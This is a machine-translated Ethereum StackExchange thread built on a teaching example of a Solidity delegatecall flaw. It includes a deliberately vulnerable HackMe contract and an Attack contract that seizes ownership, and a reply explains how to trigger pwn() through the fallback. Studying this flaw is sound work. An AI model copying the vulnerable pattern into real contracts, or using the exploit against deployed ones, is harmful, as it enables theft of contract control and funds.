pragma solidity ^0.8.10;
/*
HackMe is a contract that uses delegatecall to execute code.
It it is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.
1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe
What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
/*bool public fallbackCalisti;
bytes public encodedData= abi.encodeWithSignature("pwn()");
bytes public msgDatainFallback;*/
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
//fallbackCalisti= true;
//msgDatainFallback= msg.data;
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}因此,上面的代码是通过注释来描述的,我想要做的是通过发送一些ether来改变HackMe合同的所有者,从而触发它的回退功能,而不使用攻击契约。所以我所做的是,我用0xdd365b8b的数据处理了1以太到HackMe的合同,这是攻击契约的攻击函数中调用的abi.encodeWithSignature("pwn()")的字节表示。应该发生的是,当触发回退函数时,它应该使用lib的地址委托lib的pwn-函数,并使msg.sender(me)成为所有者。但是,它不会改变所有者,尽管我成功地触发了HackMe合同中的回退功能。有人能帮我吗?提前谢谢。https://i.stack.imgur.com/aPtlq.png I和一个以太在图像中一样处理。
发布于 2022-04-13 15:56:04
您可以通过常规调用从合同中调用此函数pwn()。相反,您应该触发HackMe契约的回退函数并发送给它一些以太,一个示例将是bee :字节内存数据=abi.encodeWithSignature( "pwn()“) (bool success,)= HackMe.call{ value: 1 ether }( data );如果在这种情况下,您将以太发送到hackMe契约并触发回退函数,而数据是要被调用的函数的名称,在本例中是”pwn()“。因此,它将把调用从hackMe委托给Lib合同。应该工作让我知道。;)
编辑:是的,您不会欺骗所有者,因为呼叫是从攻击者合同中发出的,所以是从合同地址发出的,所以所有者将占用合同地址。
如果您试图直接从"pwn()“离开函数的合同中调用,则调用是从您的帐户中发出的,而不是从合同地址发出的,因此您将告诉所有者:)希望现在更清楚了。
https://ethereum.stackexchange.com/questions/126126
复制相似问题